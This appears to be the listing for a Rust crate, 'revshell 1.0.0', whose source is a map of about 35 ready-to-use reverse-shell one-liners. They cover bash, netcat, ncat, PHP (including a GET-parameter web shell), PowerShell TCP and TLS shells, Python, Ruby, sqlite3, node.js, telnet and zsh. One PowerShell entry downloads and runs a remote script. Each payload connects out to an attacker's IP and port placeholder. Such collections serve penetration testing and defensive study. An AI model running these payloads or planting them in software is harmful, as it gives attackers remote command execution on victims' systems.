revshell 1.0.0

Simple tool to generate reverse shells in the terminal.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40

use phf::phf_map;

pub static METHODS: phf::Map<&'static str, &'static str> = phf_map! {
    "bash_-i" => "sh -i >& /dev/tcp/IP_ADDR/PORT 0>&1",
    "bash_196" => "0<&196;exec 196<>/dev/tcp/IP_ADDR/PORT; sh <&196 >&196 2>&196",
    "bash_read_line" => "exec 5<>/dev/tcp/IP_ADDR/PORT;cat <&5 | while read line; do $line 2>&5 >&5; done",
    "bash_5" => "sh -i 5<> /dev/tcp/IP_ADDR/PORT 0<&5 1>&5 2>&5",
    "bash_udp" => "sh -i >& /dev/udp/IP_ADDR/PORT 0>&1",
    "nc_mkfifo" => "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc IP_ADDR PORT >/tmp/f",
    "nc_-e" => "nc IP_ADDR PORT -e sh",
    "nc.exe_-e" => "nc.exe IP_ADDR PORT -e sh",
    "busybox_nc_-e" => "busybox nc IP_ADDR PORT -e sh",
    "nc_-c" => "nc -c sh IP_ADDR PORT",
    "ncat_-e" => "ncat IP_ADDR PORT -e sh",
    "ncat.exe_-e" => "ncat.exe IP_ADDR PORT -e sh",
    "ncat_udp" => "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|ncat -u IP_ADDR PORT >/tmp/f",
    "rustcat" => "rcat connect -s sh IP_ADDR PORT",
    "php" => "<?=`$_GET[0]`?>",
    "php_exec" => r#"php -r '$sock=fsockopen("IP_ADDR",PORT);exec("sh <&3 >&3 2>&3");'"#,
    "php_shell_exec" => r#"php -r '$sock=fsockopen("IP_ADDR",PORT);shell_exec("sh <&3 >&3 2>&3");'"#,
    "php_system" => r#"php -r '$sock=fsockopen("IP_ADDR",PORT);system("sh <&3 >&3 2>&3");'"#,
    "php_passthru" => r#"php -r '$sock=fsockopen("IP_ADDR",PORT);passthru("sh <&3 >&3 2>&3");'"#,
    "php_backtick" => r#"php -r '$sock=fsockopen("IP_ADDR",PORT);`sh <&3 >&3 2>&3`;'"#,
    "php_popen" => r#"php -r '$sock=fsockopen("IP_ADDR",PORT);popen("sh <&3 >&3 2>&3", "r");'"#,
    "php_proc_open" => r#"php -r '$sock=fsockopen("IP_ADDR",PORT);$proc=proc_open("sh", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);'"#,
    "windows_conpty" => r#"IEX(IWR https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell IP_ADDR PORT"#,
    "powershell_1" => r#"$LHOST = "IP_ADDR"; $LPORT = PORT; $TCPClient = New-Object Net.Sockets.TCPClient($LHOST, $LPORT); $NetworkStream = $TCPClient.GetStream(); $StreamReader = New-Object IO.StreamReader($NetworkStream); $StreamWriter = New-Object IO.StreamWriter($NetworkStream); $StreamWriter.AutoFlush = $true; $Buffer = New-Object System.Byte[] 1024; while ($TCPClient.Connected) { while ($NetworkStream.DataAvailable) { $RawData = $NetworkStream.Read($Buffer, 0, $Buffer.Length); $Code = ([text.encoding]::UTF8).GetString($Buffer, 0, $RawData -1) }; if ($TCPClient.Connected -and $Code.Length -gt 1) { $Output = try { Invoke-Expression ($Code) 2>&1 } catch { $_ }; $StreamWriter.Write("$Output`n"); $Code = $null } }; $TCPClient.Close(); $NetworkStream.Close(); $StreamReader.Close(); $StreamWriter.Close()"#,
    "powershell_2" => r#"$sslProtocols = [System.Security.Authentication.SslProtocols]::Tls12; $TCPClient = New-Object Net.Sockets.TCPClient('IP_ADDR', PORT);$NetworkStream = $TCPClient.GetStream();$SslStream = New-Object Net.Security.SslStream($NetworkStream,$false,({$true} -as [Net.Security.RemoteCertificateValidationCallback]));$SslStream.AuthenticateAsClient('cloudflare-dns.com',$null,$sslProtocols,$false);if(!$SslStream.IsEncrypted -or !$SslStream.IsSigned) {$SslStream.Close();exit}$StreamWriter = New-Object IO.StreamWriter($SslStream);function WriteToStream ($String) {[byte[]]$script:Buffer = New-Object System.Byte[] 4096 ;$StreamWriter.Write($String + 'SHELL> ');$StreamWriter.Flush()};WriteToStream '';while(($BytesRead = $SslStream.Read($Buffer, 0, $Buffer.Length)) -gt 0) {$Command = ([text.encoding]::UTF8).GetString($Buffer, 0, $BytesRead - 1);$Output = try {Invoke-Expression $Command 2>&1 | Out-String} catch {$_ | Out-String}WriteToStream ($Output)}$StreamWriter.Close()"#,
    "python_1" => r#"export RHOST="IP_ADDR";export RPORT=PORT;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("sh")'"#,
    "python_2" => r#"python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP_ADDR",PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'"#,
    "python3_1" => r#"export RHOST="IP_ADDR";export RPORT=PORT;python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("sh")'"#,
    "python3_2" => r#"python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP_ADDR",PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'"#,
    "python3_short" => r#"python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("IP_ADDR",PORT));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh")'"#,
    "ruby_1" => r#"ruby -rsocket -e'spawn("sh",[:in,:out,:err]=>TCPSocket.new("IP_ADDR",PORT))'"#,
    "ruby_no_sh" => r#"ruby -rsocket -e'exit if fork;c=TCPSocket.new("IP_ADDR","PORT");loop{c.gets.chomp!;(exit! if $_=="exit");($_=~/cd (.+)/i?(Dir.chdir($1)):(IO.popen($_,?r){|io|c.print io.read}))rescue c.puts "failed: #{$_}"}'"#,
    "sqlite3_nc_mkfifo" => r#"sqlite3 /dev/null '.shell rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc IP_ADDR PORT >/tmp/f'"#,
    "node.js" => r#"require('child_process').exec('nc -e sh IP_ADDR PORT')"#,
    "telnet" => r#"TF=$(mktemp -u);mkfifo $TF && telnet IP_ADDR PORT 0<$TF | sh 1>$TF"#,
    "zsh" => r#"zsh -c 'zmodload zsh/net/tcp && ztcp IP_ADDR PORT && zsh >&$REPLY 2>&$REPLY 0>&$REPLY'"#,
};